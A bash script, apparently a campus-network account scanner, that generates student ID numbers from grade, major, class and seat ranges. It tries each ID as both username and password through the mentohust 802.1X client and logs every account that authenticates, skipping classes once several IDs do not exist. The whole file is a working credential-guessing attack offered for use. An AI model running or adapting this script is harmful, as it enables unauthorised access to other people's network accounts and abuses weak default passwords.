fscan_v3.sh

#!/bin/bash
# NAME : fscan_v3.sh
# VERSION : v3
# AUTHOR : FTS

# Example : sudo bash  fscan_v3.sh 2008 2010 3001 3002 1 6

# $1 lower-grade 
# $2 upper-grade
# $3 lower-major
# $4 upper-major
# $5 lower-class
# $6 upper-class

name="`date -d now +%m%d%H%M`.log"
touch "$name"

printf "Range:\ngrade:$1-$2\nmajor:$3-$4\nclass:$5-$6\n\n" >> "$name"

killall dhclient 2> /dev/null

for grade in $(seq $1 $2) 
do
    for major in $(seq $3 $4)
    do
	for class in $(seq -f '%02g' $5 $6)
	do
	    acc=0 
	    state=0 

	    for num in $(seq -f '%02g' 1 35)
	    do
		string=${grade}${major}${class}${num}
	#	echo "$string"
		
		mentohust -u"$string" -p"$string" -neth0 -l1 -a1 -d3 -v4.0  | tee temp | grep '** 用户名'

		testone=$(grep "发送心跳包以保持在线" temp)
		testtwo=$(grep "在线用户数量上限" temp)
		testexist=$(grep "用户不存在" temp)
		
		if [ "$testone" != "" ]; then
		    echo ${string} >> "$name"
		fi

		if [ "$testtwo" != "" ]; then
		    echo ${string} >> "$name"
		fi
               
                #====================================
		if [ "$testexist" = "" ]; then
		    state=0
		fi

		if [ "$testexist" != "" ] && [ $state -eq 0 ]; then
		    state=1
		    acc=1
		fi

		if [ "$testexist" != "" ] && [ $state -eq 1 ]; then
		    let ++acc
		fi

		if [ $acc -eq 4 ]; then
		    #echo "$string"
		    break 1
		fi
		    
	    done
	done
    done
done